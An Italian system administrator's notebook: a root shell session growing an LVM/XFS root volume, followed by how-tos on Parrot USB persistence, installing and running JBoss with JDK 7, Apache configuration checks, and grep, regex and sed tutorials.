VG UUID Nfq4dK-2ryX-Qlio-0rc8-HKl7-36KI-B1uFea

[root@localhost ~]#

[root@localhost ~]#

[root@localhost ~]#

[root@localhost ~]# lvdisplay

--- Logical volume ---

LV Path /dev/cl/swap

LV Name swap

VG Name cl

LV UUID 9vYzHA-vKwc-KfPU-D0il-UD1p-vA3Q-LXc8Uw

LV Write Access read/write

LV Creation host, time localhost, 2021-03-16 17:34:07 +0100

LV Status available

# open 2

LV Size 1,00 GiB

Current LE 256

Segments 1

Allocation inherit

Read ahead sectors auto

- currently set to 8192

Block device 253:1

--- Logical volume ---

LV Path /dev/cl/root

LV Name root

VG Name cl

LV UUID htN3sV-QFZL-oK4F-IC1E-nEa9-Egyf-2GLn83

LV Write Access read/write

LV Creation host, time localhost, 2021-03-16 17:34:07 +0100

LV Status available

# open 1

LV Size <8,00 GiB

Current LE 2047

Segments 1

Allocation inherit

Read ahead sectors auto

- currently set to 8192

Block device 253:0

[root@localhost ~]#

[root@localhost ~]#

[root@localhost ~]#

[root@localhost ~]# fdisk -l

Disk /dev/sda: 40 GiB, 42949672960 bytes, 83886080 sectors

Units: sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/O size (minimum/optimal): 512 bytes / 512 bytes

Disklabel type: dos

Disk identifier: 0xaad139e5

Dispositivo Avvio Start Fine Settori Size Id Tipo

/dev/sda1 * 2048 2099199 2097152 1G 83 Linux

/dev/sda2 2099200 20971519 18872320 9G 8e Linux LVM

 

 

 

Disk /dev/mapper/cl-root: 8 GiB, 8585740288 bytes, 16769024 sectors

Units: sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/O size (minimum/optimal): 512 bytes / 512 bytes

 

Disk /dev/mapper/cl-swap: 1 GiB, 1073741824 bytes, 2097152 sectors

Units: sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/O size (minimum/optimal): 512 bytes / 512 bytes

[root@localhost ~]#

[root@localhost ~]#

[root@localhost ~]#

[root@localhost ~]# fdisk /dev/sda

Welcome to fdisk (util-linux 2.32.1).

Changes will remain in memory only, until you decide to write them.

Be careful before using the write command.

 

Comando (m per richiamare la guida): n

Partition type

p primary (2 primary, 0 extended, 2 free)

e extended (container for logical partitions)

Select (default p): p

Numero della partizione (3,4, default 3): 3

First sector (20971520-83886079, default 20971520):

Last sector, +sectors or +size{K,M,G,T,P} (20971520-83886079, default 83886079):

Created a new partition 3 of type 'Linux' and of size 30 GiB.

Comando (m per richiamare la guida): t

Numero della partizione (1-3, default 3): 3

Hex code (type L to list all codes): 8a

Changed type of partition 'Linux' to 'sconosciuto'.

Comando (m per richiamare la guida): t

Numero della partizione (1-3, default 3): 3

Hex code (type L to list all codes): L

0 Vuoto 24 NEC DOS 81 Minix / vecchio bf Solaris

1 FAT12 27 Hidden NTFS Win 82 Linux swap / So c1 DRDOS/sec (FAT-

2 XENIX root 39 Plan 9 83 Linux c4 DRDOS/sec (FAT-

3 XENIX usr 3c Recupero Partit 84 OS/2 hidden or c6 DRDOS/sec (FAT-

4 FAT16 <32M 40 Venix 80286 85 Linux esteso c7 Syrinx

5 Esteso 41 PPC PReP Boot 86 set volume NTFS da Non-FS data

6 FAT16 42 SFS 87 set volume NTFS db CP/M / CTOS / .

7 HPFS/NTFS/exFAT 4d QNX4.x 88 Linux plaintext de Dell Utility

8 AIX 4e QNX4.x 2a parti 8e Linux LVM df BootIt

9 AIX avviabile 4f QNX4.x 3rd part 93 Amoeba e1 accesso DOS

a OS/2 Boot Manag 50 OnTrack DM 94 Amoeba BBT e3 DOS R/O

b W95 FAT32 51 OnTrack DM6 Aux 9f BSD/OS e4 SpeedStor

c W95 FAT32 (LBA) 52 CP/M a0 Ibernazione IBM ea Rufus alignment

e W95 FAT16 (LBA) 53 OnTrack DM6 Aux a5 FreeBSD eb BeOS fs

f W95 Esteso (LBA 54 OnTrackDM6 a6 OpenBSD ee GPT

10 OPUS 55 EZ-Drive a7 NeXTSTEP ef EFI (FAT-12/16/

11 FAT12 nascosto 56 Golden Bow a8 Darwin UFS f0 Linux/PA-RISC b

12 Diagnostica Com 5c Priam Edisk a9 NetBSD f1 SpeedStor

14 FAT16 nascosto 61 SpeedStor ab Darwin boot f4 SpeedStor

16 FAT16 nascosto 63 GNU HURD o SysV af HFS / HFS+ f2 DOS secondario

17 HPFS/NTFS nasco 64 Novell Netware b7 BSDI fs fb VMware VMFS

18 AST SmartSleep 65 Novell Netware b8 BSDI swap fc VMware VMKCORE

1b W95 FAT32 nasco 70 DiskSecure Mult bb Boot Wizard hid fd Autorilevamento

1c W95 FAT32 (LBA) 75 PC/IX bc Acronis FAT32 L fe LANstep

1e W95 FAT16 (LBA) 80 Vecchio Minix be Solaris boot ff BBT

Hex code (type L to list all codes): 8e

Changed type of partition 'sconosciuto' to 'Linux LVM'.

Comando (m per richiamare la guida):

 

Comando (m per richiamare la guida): p

Disk /dev/sda: 40 GiB, 42949672960 bytes, 83886080 sectors

Units: sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/O size (minimum/optimal): 512 bytes / 512 bytes

Disklabel type: dos

Disk identifier: 0xaad139e5

Dispositivo Avvio Start Fine Settori Size Id Tipo

/dev/sda1 * 2048 2099199 2097152 1G 83 Linux

/dev/sda2 2099200 20971519 18872320 9G 8e Linux LVM

/dev/sda3 20971520 83886079 62914560 30G 8e Linux LVM

Comando (m per richiamare la guida): w

The partition table has been altered.

Syncing disks.

[root@localhost ~]#

[root@localhost ~]#

[root@localhost ~]# shutdown -r now

Remote side unexpectedly closed network connection

 

Last login: Mon Mar 22 23:49:19 2021 from 192.168.23.112

[synhack@localhost ~]$ sudo -i

[root@localhost ~]#

[root@localhost ~]#

[root@localhost ~]# pvc

pvchange pvck pvcreate

[root@localhost ~]# pvcreate /dev/sda3

Physical volume "/dev/sda3" successfully created.

[root@localhost ~]#

[root@localhost ~]#

[root@localhost ~]#

[root@localhost ~]# vgdisplay

--- Volume group ---

VG Name cl

System ID

Format lvm2

Metadata Areas 1

Metadata Sequence No 3

VG Access read/write

VG Status resizable

MAX LV 0

Cur LV 2

Open LV 2

Max PV 0

Cur PV 1

Act PV 1

VG Size <9,00 GiB

PE Size 4,00 MiB

Total PE 2303

Alloc PE / Size 2303 / <9,00 GiB

Free PE / Size 0 / 0

VG UUID Nfq4dK-2ryX-Qlio-0rc8-HKl7-36KI-B1uFea

[root@localhost ~]#

[root@localhost ~]#

[root@localhost ~]# vgextend cl /dev/sda3

Volume group "cl" successfully extended

[root@localhost ~]#

[root@localhost ~]#

[root@localhost ~]# lvdisplay

--- Logical volume ---

LV Path /dev/cl/swap

LV Name swap

VG Name cl

LV UUID 9vYzHA-vKwc-KfPU-D0il-UD1p-vA3Q-LXc8Uw

LV Write Access read/write

LV Creation host, time localhost, 2021-03-16 17:34:07 +0100

LV Status available

# open 2

LV Size 1,00 GiB

Current LE 256

Segments 1

Allocation inherit

Read ahead sectors auto

- currently set to 256

Block device 253:1

--- Logical volume ---

LV Path /dev/cl/root

LV Name root

VG Name cl

LV UUID htN3sV-QFZL-oK4F-IC1E-nEa9-Egyf-2GLn83

LV Write Access read/write

LV Creation host, time localhost, 2021-03-16 17:34:07 +0100

LV Status available

# open 1

LV Size <8,00 GiB

Current LE 2047

Segments 1

Allocation inherit

Read ahead sectors auto

- currently set to 256

Block device 253:0

[root@localhost ~]#

[root@localhost ~]#

[root@localhost ~]# lv

lvchange lvcreate lvextend lvmconfig lvmdump lvmsadc lvreduce lvrename lvs

lvconvert lvdisplay lvm lvmdiskscan lvmpolld lvmsar lvremove lvresize lvscan

[root@localhost ~]#

[root@localhost ~]#

[root@localhost ~]#

[root@localhost ~]# lvextend -l +100%FREE /dev/cl/root

Size of logical volume cl/root changed from <8,00 GiB (2047 extents) to 37,99 GiB (9726 extents).

Logical volume cl/root successfully resized.

[root@localhost ~]#

[root@localhost ~]#

[root@localhost ~]#

[root@localhost ~]# resize2fs /dev/cl/root

resize2fs 1.45.6 (20-Mar-2020)

resize2fs: Valore magic non corretto nel super-blocco nell'aprire /dev/cl/root

Impossibile trovare un valido super-blocco per il file system.

[root@localhost ~]#

[root@localhost ~]#

[root@localhost ~]#

[root@localhost ~]# xfs_growfs /dev/cl/root

meta-data=/dev/mapper/cl-root isize=512 agcount=4, agsize=524032 blks

= sectsz=512 attr=2, projid32bit=1

= crc=1 finobt=1, sparse=1, rmapbt=0

= reflink=1

data = bsize=4096 blocks=2096128, imaxpct=25

= sunit=0 swidth=0 blks

naming =version 2 bsize=4096 ascii-ci=0, ftype=1

log =internal log bsize=4096 blocks=2560, version=2

= sectsz=512 sunit=0 blks, lazy-count=1

realtime =none extsz=4096 blocks=0, rtextents=0

data blocks changed from 2096128 to 9959424

[root@localhost ~]#

[root@localhost ~]#

[root@localhost ~]# df -h

File system Dim. Usati Dispon. Uso% Montato su

devtmpfs 387M 0 387M 0% /dev

tmpfs 406M 0 406M 0% /dev/shm

tmpfs 406M 5,6M 400M 2% /run

tmpfs 406M 0 406M 0% /sys/fs/cgroup

/dev/mapper/cl-root 38G 6,4G 32G 17% /

/dev/sda1 1014M 259M 756M 26% /boot

tmpfs 82M 0 82M 0% /run/user/1000

=====================================================================================

0000000000000000000000000000000000000000000000000000000000000000000000000000000000000

=====================================================================================

 

LINUX PARROT USB AVVIABILE PERSISTENT MODE

Una volta creata una Pendrive Live USB Linux Parrot è molto comodo renderla Persistente in modo da non perdere programmi e file una volta installati o scaricati in essa. Per fare ciò eseguire la seguente procedura.

*) Avviare la pendrive in modalità live

*) Eseguire gparted. Individuare la pendrive USB (generalmente sdb o sdc). Per individuare il device corrispondente all pendrive, spesso è sufficiente controllare la dimensione. Per esempio, se abbiamo inserito nel PC una pendrive da 16 GB dovremo selezionare dalla finestra in alto a destra, il device sdx della corrispondente dimensione [/dev/sdb (14,91 GiB)]

ATTENZIONE le operazioni compiute da gparted sono IRREVERSIBILI e quindi molto pericolose, se si sbaglia unità si potrebbe cancellare in un colpo solo l’intero contenuto dell’HD contenete il Sistema Operativo Windows. Confermare le operazioni solo se si è assolutamente sicuri di operare sul device sd corrispondente alla propria pendrive USB Linux Parrot.

*) Creare una partizione Primary con ext4 e label "persistence" nello spazio non allocato. La label "persistence" è molto importante.

Formattare la partizione ed uscire da gparted

*) Creare nella nuova partizione il file "persistence.conf"

Se la cartella è in sola lettura creare il file da linea di comando:

touch /media/user/persistence/persistence.conf (per Parrot)

touch /media/root/persistence/persistence.conf (per Kali)

*) Aprire il file come Administrator e scivere semplicemente la seguente stringa:

/ union

*) Salvare il file persistence.conf ed uscire

*) Spegnere o riavviare il PC

*) Al successivo riavvio scegliere "Persistent Mode"

Il gioco e fatto. Da questo momento ogni file che scaricheremo e ogni programma che installeremo sul PC rimarrà disponibile al successivo riavvio.

E’ interessante notare che prima del riavvio, la partizione / (root) ha dimensione 3 GiB mentre al successivo riavvio in Persistent Mode, la stessa partizione / presenta le stesse dimensioni della nuova partizione (persistence) attivata (11,1 GiB).

============================================================================

AGGIORNARE IL SISTEMA (Ubuntu, Parrot, Raspbian Jessie, Debian, etc)

apt-get upgrade ===> Aggiorna l’intero Sistema Operativo (può richiedere alcune ore)

apt-get update ===> Aggiorna il repository per il download delle applicazioni attraverso apt-get

INSTALLARE APPLICAZIONI

apt-get install nomeprogrammadainstallare

Si consiglia di eseguire sempre apt-get upgrade e apt-get update prima di apt-get install

=====================================================================================

0000000000000000000000000000000000000000000000000000000000000000000000000000000000000

=====================================================================================

 

JBOSS DOWNLOAD E INSTALLAZIONE

DOWNLOAD DI JAVA JDK 7 (Le versioni successive di JDK come la 8 o la 10 non mi hanno funzionato)

*) Scaricare il file:

jdk-7u80-linux-x64.tar.gz

*) dalla seguente pagina (richiede registrazione gratuita)

http://www.oracle.com/technetwork/java/javase/downloads/java-archive-downloads-javase7-521261.html

*) Estrarre l'archivio in /opt

tar xvf jdk-7u80-linux-x64.tar.gz -C /opt

*) Sebbene non indispensabile, è sempre opportuno creare un utente specifico per la gestione di jboss:

useradd jboss

*) Definire la variabile d'ambiente JAVA_HOME in:

vi /home/jboss/.bash_profile

#Si consiglia di creare una copia di backup del file con:

cd /home/jboss/

cp .bash_profile .bash_profile-YYYYMMDD

*) Inserire la stringa

export JAVA_HOME=/opt/jdk1.7.0_80

*) Salvare il file ([ESC]:wq!)

*) Aggiornare le informazioni nel Sistema Operativo:

source .bash_profile

*) Verificare la correttezza delle impostazioni:

echo $JAVA_HOME

/opt/jdk1.7.0_80

*) Scaricare JBOSS:

JBoss AS 7.1.1.Final.tar.gz

*) dalla seguente pagina web

http://jbossas.jboss.org/downloads

*) Estrarre l'archivio in /opt

tar xvf 'JBoss AS 7.1.1.Final.tar.gz' -C /opt

*) Assegnare all'utente jboss permessi sui file di jboss

chown -Rf jboss.jboss /opt/jboss-as-7.1.1.Final/

*) Spostarsi nella directory bin

cd /opt/jboss-as-7.1.1.Final/bin

*) Creare username e password per gestione jboss gui

./add-user.sh

*) Avviare jboss

./standalone.sh -Djboss.bind.address=0.0.0.0 -Djboss.bind.address.management=0.0.0.0&

*) Provare ad accedere tramite web browser

http://127.0.0.1:9990/console/index.html

============================================================

UPGRADE JDK 1.7.0_80 AGGIORNAMENTO JVM (Collaudo IFA)

E' stato richiesto tramite change di aggiornare la versione di java (JDK) dalla versione 1.6.0_45 alla 1.7.0_80 per rendere i servizi compatibili con il nuovo protocollo TLS1.2

Le modifiche riportate di seguito vanno effettuate sui BE di IFA Collaudo (192.168.29.89 - 90)

*) Per prima cosa è stato scaricato il pacchetto .tar.gz dal sito di oracle (https://www.oracle.com/technetwork/java/javase/downloads/java-archive-downloads-javase7-521261.html)

Il file si chiama "jdk-7u80-linux-i586.tar.gz"

*) Trasferire il tar.gz nella propria home

*) Diventare root (sudo -s)

*) Estrarre l'archivio compresso nella directory /usr/java/jdk1.7.0_80/

# tar xvfz /home/nomeutente/jdk-7u80-linux-i586.tar.gz -C /usr/java/

*) Dopo l'estrazione, nella directory /usr/java/ sara' presente la directory jdk1.7.0_80/

(/usr/java/jdk1.7.0_80/)

*) Per fare in modo che il sistema veda la nuova versione come quella di riferimento basta fare un doppio symlink:

1) Il primo symlink denominato "latest" che punta a "/usr/java/jdk1.7.0_80/"

2) Il secondo symlink denominato "default" che punta al primo symlink "/usr/java/latest/"

I comandi usati per creare i symlink sono:

# ln -s /usr/java/jdk1.7.0_80 latest

# ln -s /usr/java/latest default

======================================================

DIRECTORY DI JBOSS:

Per i nodi "pagamenti"

/opt/pagamenti

Per il Domain Controller:

/opt/pagamenti_admin

COMANDI PER DEPLOY:

Nel caso in cui siano stati modificati file di configurazione (Proprties o DataSource) è opportuno stoppare e startare il servizio jboss prima del deploy

./jboss-cli.sh

connect IPAdd:39999

deploy /path/file-da/deployare.war(jar)

JBoss può essere installato in 2 modalità:

Standalone

o

Cluster (in dominio)

JBOSS PERCORSI FILEs

domain.xml (su nodi DC)

/opt/****_admin/jboss-eap-6.4/domain/configuration/domain.xml

domain.xml (su nodi BE Pagamenti)

/opt/pagamenti/jboss-eap-6.4/domain/configuration/domain.xml

domain.xml (su nodi BE Revisioni)

/opt/revisioni/jboss-eap-6.0/domain/configuration/domain.xml

domain.xml (su nodi BE RenBol)

/opt/jboss-eap-6.1/domain/configuration/domain.xml

domain.sh (su DC 192.168.x.73)

/opt/*****_admin/jboss-eap-6.4/bin/domain.sh

domain.sh (su nodi BE)

/opt/nomenodo/jboss-eap-6.4/bin/domain.sh

JBOSS WEBADMIN GUI

http://192.168.30.73:9990/console

RIAVVIARE JBOSS:

/etc/init.d/jboss stop

/etc/init.d/jboss start

systemctl jboss-as-domain.service stop

systemctl jboss-as-domain.service start

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

APACHE

*) ricavare la versione di apache

httpd -v

*) localizzare la posizione del demone di apache

whereis httpd

/usr/sbin/httpd

*) file di configurazione di apache

/etc/httpd/conf/httpd.conf

*) file di configurazione di ssl

/etc/httpd/conf.d/ssl.conf

vi /etc/httpd/conf/httpd.conf

...

<Directory />

Options FollowSymLinks

AllowOverride None

Header unset

FileETag MTime Size # Stringa per Vulnerability Assessment

</Directory>

...

*) Controlla eventualierrori nei file di configurazione

apachectl configtest

*) Oppure

httpd -t

*) Riavviare apache

service httpd restart

*) Oppure

systemctl restart httpd

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

 

GREP

grep è un comando/tool potente e insostituibile che permette di effettuare qualsiasi tipo di ricerca di stringhe, sia all'interno di file (log o testo) che all'interno di directory. La sua potenza deriva dall'uso delle Espressioni Regolari (Regular Expressions) che mettono a disposizione criteri di ricerca praticamente infiniti.

ESEMPI:

*) Ricerca della parola "error" all'interno del file "system.log"

grep -i error /xxx/yyy/system.log ===> Con -i vengono ignorate minuscole e maiuscole in modo da trovare la parola cercata anche se scritta in maniera differente:

error

Error

ERROR

-----------------------------------------------------------

*) Ricercare più stringhe contenute in un file lista in tutti i file nella directory corrente e salvare i risultati in un file.

grep –f /xxx/yyy/lista.txt * >> /xxx/yyy/risultati.txt

-----------------------------------------------------------

*) Colorare la stringa cercata

grep -i --color stringa ===> Visualizza la stringa specificata e la colora

------------------------------------------------------------

*) Ricerca della parola "error" all'interno di tutti i files presenti nella directory yyy

grep -i -r error /xxx/yyy/ ===> L'opzione -r (Recursive) impone di cercare anche in tutte le sottodirectory.

/xxx/yyy/system.log:Error

-----------------------------------------------------------

*) Ricerca della parola "error" all'interno di tutti i files .log presenti nella directory yyy

grep -i --color error /xxx/yyy/*.log

-----------------------------------------------------------

*) Ricerca di tutte le righe che iniziano con la parola "error" all'interno di tutti i files .log presenti nella directory yyy

grep -E -i --color '^error' /xxx/yyy/*.log

--------------------------------------------------------------

*) Ricerca di tutte le righe che iniziano con la parola "error" all'interno di tutti i files presenti in tutte le eventueli sottodirectory di /xxx

grep -E -i --color '^error' /xxx/*

-----------------------------------------------------------

*) Ricerca di un indirizzo IP all'interno di TUTTI i file presenti in una qualsiasi sottodirectory di /xxx/

grep -r --color -E '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' /xxx/*

---------------------------------------------------------------------

*) Ricerca di una data (separata da -) all'interno di TUTTI i file presenti in una qualsiasi sottodirectory di /xxx/

grep -r --color -E '[0-9]+-[0-9]+-[0-9]' /xxx/*

---------------------------------------------------------------------

*) Ricerca del file "system.log" all'interno della directory "yyy"

ll /xxx/yyy/ | grep -i system.log

-----------------------------------------------------------

*) Ricerca (e colora) tutti i file il cui nome FINISCE con ".log" all'interno della directory "yyy" e sottodirectory

ll /xxx/yyy/ | grep -r -i --color '.log$'

ll /xxx/yyy/ | grep -G -r -i --color '\.log$'

-----------------------------------------------------------

*) Ricerca (e colora) tutti i file che contengono almeno una riga che FINISCE con ".log". La ricerca verra' effettuata all'interno della directory "yyy" e di tutte le altre eventuali sottodirectory

grep -r -i --color .log$ /xxx/yyy/

-----------------------------------------------------------

*) Ricerca (e colora) tutti i file che contengono una data in qualsiasi formato separato dal segno -

ll /xxx/yyy/ | grep -i --color -E '[0-9]+\-[0-9]+\-[0-9]'

ll /xxx/yyy/ | grep -i --color -E '[0-9]+-[0-9]+-[0-9]'

Dato che il segno meno (-) non e' un metacarattere delle RegExp non e' obbligatorio usare la back slash (\) prima del segno -

-----------------------------------------------------------

*) Ricerca stringhe che contengono caratteri speciali

ll /xxx/yyy/ | grep -F .config ===> Supponiamo di voler elencare solo i file che hanno ESTENSIONE ".config" escludendo per esempio i file che non ci interessano e che hanno nomi come "config.log", "systemconfig.sh", etc. Senza l'opzione -F grep interpreterebbe il punto (.) come metacarattere delle regular expression e nelle regexp il . significa "qualsiasi carattere" (come l'asterisco (*) nelle ricerche in Windows)

------------------------------------------------------------

*) Mostra tutte le linee ma nasconde tutte le righe che iniziano con # (^#) e le righe vuote (^$)

cat /etc/httpd/conf/httpd.conf | grep -v ^# | grep -v ^$ | less

============================================================

OPZIONI GREP:

-i ===> (i=Indifferent) Non fa distinzione tra formato di carattere minuscolo e maiuscolo (NO case sensitive)

-r ===> (r=Recorsive) Cerca in tutte le sottodirectory

-v ===> Escludi. Filtra i risultati scartando le righe che soddisfano i criteri di ricerca

-w ===> (w=Word) Cerca la stringa esatta come parola a se (separata da spazi o caratteri speciali a destra e sinistra)

-o ===> (o=only) Visualizza soltanto la stringa specificata e non l'intera riga.

--color ===> Colora la stringa cercata

-Bx ===> (B=Before) Visualizza anche le x righe precedenti

-Ax ===> (A=After) Visualizza anche le x righe successive

-E ===> Usa le Extended regular expressions. Equivale ad usare il comando 'egrep'

-F ===> (Fixed string) Interpreta la stringa da ricercare come semplice TESTO, NON COME ESPRESSIONE REGOLARE. Questa opzione è molto utile quando la stringa da ricercare contiene caratteri speciali propri dele regexp come ad esempio il punto (.), le parentesi quadre ([]), le parentesi graffe ({}), le slash (/), le back slash (\), il piu (+), etc

-f file-lista.txt ====> Permette di definire il percorso ed il nome del file contenente la lista delle occorrenze da cercare

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

 

ESPRESSIONI REGOLARI (REGULAR EXPRESSION o REGEX)

METACARATTERI:

^ ====> (accento circonflesso) = Inizio della riga.

$ ====> (dollaro) = Fine della riga.

* ====> (asterisco) = Zero o più.

+ ====> (segno piu) = Uno o più.

? ====> (punto interrogativo) = Zero o uno.

. ====> (punto) = Qualsiasi carattere tranne \n.

( ) ====> (parentesi tonde) = Gruppo di caratteri.

{ } ====> (parentesi graffe = Numero di ripetizioni.

[ ] ====> (parentesi quadre) = Gruppo di caratteri.

| ====> (pipe) = Stringhe alternative.

/ ====> (slash) = Modificatore di gruppi.

\ ====> (back slash) = Carattere speciale per dare o rimuovere significato a altri caratteri.

. (punto) ===> Qualsiasi carattere. Equivale al ? (punto interrogativo) in Windows

$ ===> Fine della stringa. Inserito alla fine della parola, indica che la parola stessa deve essere l'ultima della riga

^ (accento circonflesso) ===> Inizio della riga. Inserito all'inizio della parola, indica che la parola stessa deve essere la prima della riga

\ (back slash) ignora il metacarattere successivo. Esempio: Vogliamo elencare solo i file .log in una directory

ll | grep "\.log"

 

QUANTIFICATORI:

+ ====> (segno piu) Indica 1 o piu occorrenze. Il carattere che precede è ripetuto 1 o più volte

* ====> (asterisco) Indica 0 o piu occorrenze. Il carattere che precede è ripetuto 0 o più volte

? ====> (punto interrogativo) Indica 1 o 0 occorrenze. Il carattere che precede è ripetuto 0 o 1 volta

{n} ====> Indica n occorrenze. Il carattere che precede è ripetuto n volte

{n,} ====> Indica numero minimo di occorrenze. Il carattere che precede è ripetuto almeno n volte

{n,m} ====> Indica da un minimo ad un massimo. Il carattere che precede è ripetuto almeno n volte ma non piu di m volte

 

ESEMPI:

*) Descrivere il formato di un indirizzo IP:

'[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+'

Gli apici (') delimitano il blocco di istruzioni

[0-9]+ = Un numero qualsiasi da 0 a 9 ripetuto piu volte (+)

\. = Gli indirizzi IP sono separati da punti, ma il punto è anche un metacarattere delle Espressioni Regolari. Quindi mettendo la back slash prima del punto facciamo in modo che sia interpretato semplicemente come parte dell IP Address

Oppure

'[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'

[0-9]{1,3} ====> Un numero da 0 a 9 ripetuto minimo una volta e massimo 3

---------------------------------------------------------

*) Descrivere la stringa di una data in qualsiasi formato separato dal segno -

'[0-9]+-[0-9]+-[0-9]'

Gli apici (') delimitano il blocco di istruzioni

[0-9]+ = Un numero qualsiasi da 0 a 9 ripetuto piu volte (+)

Dato che il segno meno (-) non e' un metacarattere delle RegExp non e' obbligatorio usare la back slash (\) prima del segno -

-------------------------------------------------------------

*) Descrivere la stringa di una data in qualsiasi formato separato dal segno /

'[0-9]+/[0-9]+/[0-9]+'

Gli apici (') delimitano il blocco di istruzioni

[0-9]+ = Un numero qualsiasi da 0 a 9 ripetuto piu volte (+)

Dato che il segno slash (/) non e' un metacarattere delle RegExp non e' obbligatorio usare la back slash (\) prima del segno /

----------------------------------------------------------------------

*) Descrivere la stringa di una data in qualsiasi formato separato dal segno \

'[0-9]+\\[0-9]+\\[0-9]+'

Gli apici (') delimitano il blocco di istruzioni

[0-9]+ = Un numero qualsiasi da 0 a 9 ripetuto piu volte (+)

Dato che il segno backslash (\) e' un metacarattere delle RegExp, e' obbligatorio usare la back slash (\) prima del segno \

------------------------------------------------------------------------------

*) Mostra tutte le linee ma nasconde tutte le righe che iniziano con # (^#) e le righe vuote (^$)

cat /etc/httpd/conf/httpd.conf | grep -v ^# | grep -v ^$ | less

------------------------------------------------------------------------------

*) Mostra solo gli Indirizzi IP unici presenti in una lista e scrivili in un file preponendo 'deny' all'inizio di ogni riga:

curl -s 'https://check.torproject.org/exit-addresses' | egrep -o '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' | uniq | sort | awk '{print "deny "$1";"}' > blocca-ip.conf

L'opzione -o visualizza solo la stringa e non l'intera riga. Gli apici possono essere indifferentemente singoli '' o doppi ""

I comandi 'uniq' e 'sort' rispettivamente eliminano i doppioni e ordinano i risultati in ordine alfabetico.

Con awk inseriamo la parola 'deny' prima dell'IP all'inizio di ogni riga e un ; alla fine in modo che il file blocca-ip.conf contenga la sintassi corretta per filtrare gli IP provenienti dalla rete TOR.

------------------------------------------------------------------------------------

*) Mostra soltanto la riga numero 23 del file miotesto.txt

cat miotesto.txt | head -23 | tail -1

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

 

SED (MANIPOLAZIONE STRINGHE TESTI)

SED e' un potentissimo tool di manipolazione stringhe che permette di eseguire modifice, cancellazioni, sostituzioni di contenuti, caratteri e stringhe all'interno di file di testo. SED permette di definire regole anche molto complesse per la gestione di file testuali anche grazie all'uso delle Espressioni Regolari (Regular Expressions). Per l'uso ed il significato delle Espressioni Regolari, vedi l'apposita sezione della presente guida.

In SED, la stringa da matchare è racchiusa tra due slash:

*) /stringa-da-cercare/

Se la stringa da ricercare contiene spazi, allora bisogna metterla tra apici

*) /'stringa da cercare'/

oppure

*) "/stringa da cercare/"

 

OPZIONI:

*) -e ====> Edit. Permette di editare (visualizzare) i contenuti di un file senza modificare il file stesso.

*) –i ====> Interactive. ATTENZIONE – PERICOLOSO. Permette di modificare direttamente il contenuto del file

*) -p ====> Print. Visualizza (print) i contenuti di un file

*) -d ====> Delete. Cancella le righe che contengono l'occorrenza specificata nel comando.

Per cancellare soltanto una specifica stringa (e non l'intera riga) si usa l'opzione s nel modo seguente:

s/'stringa da cancellare'//g

Il comando precedente sostituisce /'stringa da cancellare'/ con // cioe' nulla

*) -n ====> indica a sed di visualizzare solo quelle righe che verificano il modello, altrimenti verrebbero visualizzate tutte le righe dell’input.

*) g ====> Global. Messo di seguito ad un comando, specifica di eseguire l'operazione per TUTTE le occorrenze. Se l’operatore g (global) non è accodato al comando substitute, la sostituzione agisce solo sulla prima verifica d’occorrenza di ogni riga.

 

UTILIZZO:

*) sed -e s/modello1/modello2/ ====> Sostituisce in ogni riga LA PRIMA occorrenza della stringa modello1 conla stringa modello2

*) sed -e s/modello1/modello2/g ====> Sostituisce in ogni riga TUTTE (g = global) le occorrenza della stringa modello1 conla stringa modello2

*) sed xd file.txt ====> Cancella la riga numero x del file "file.txt".

*) sed -e /^$/d ====> Cancella tutte le righe vuote

*) sed -e 1,/^$/d ====> Cancella dall’inizio dell’input fino alla prima riga vuota compresa.

*) sed -n /Jones/p ====> Visualizza solo le righe in cui è presente "Jones" (con l’opzione -n).

*) sed -e s/Windows/Linux/ ====> Sostituisce con "Linux" la prima occorrenza di "Windows" trovata in ogni riga dell’input.

*) sed -e s/Windows/Linux/g ====> Sostituisce con "Linux" tutte le occorrenza di "Windows" trovata in ogni riga dell’input.

*) sed -e s/00*/0/g ====> Riduce ogni sequenza consecutiva di zeri ad un unico zero.

*) sed -e /parola/d ====> Cancella tutte le righe in cui è presente la stringa "parola".

Esempio: Cancella tutte le righe che contengono un determinato indirizzo IP

sed -e '/23.23.23.23/d' iplist.log >> iplistpulita.log

*) sed -e s/parola//g ====> Cancella tutte le occorrenze di "parola", lasciando inalterata la parte restante di ciascuna riga.

 

ESEMPI:

*) Elimina (d = delete) tutte le righe vuote (^$) all'interno del file "nomefile.txt"

sed -e '/^$/d' $nomefile.txt

-------------------------------------------------------------

*) Elimina la stringa relativa alla data (preceduta da un carattere spazio), in ogni riga del file "POSTE.PTC3007.RENDE.AL181203" e salva il risultato in un nuovo file di nome "POSTE.PTC3007.RENDE.AL181203-nodate".

sed -e s/' 181203'//g POSTE.PTC3007.RENDE.AL181203 > POSTE.PTC3007.RENDE.AL181203-nodate

oppure

sed -e s"/ 181203//g" POSTE.PTC3007.RENDE.AL181203 > POSTE.PTC3007.RENDE.AL181203-nodate

---------------------------------------------------------------

*) Elimina il carattere spazio alla fine di ogni riga del file "file1.txt" e salva il risultato in un nuovo file di nome "file2.txt"

sed -e s/' $'// file1.txt > file2.txt

----------------------------------------------------------------

*) Elimina il carattere spazio all'inizio di ogni riga del file "file1.txt" e salva il risultato in un nuovo file di nome "file2.txt"

sed -e s/'^ '// file1.txt > file2.txt

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

 

AWK (MANIPOLAZIONE STRINGHE TESTI)

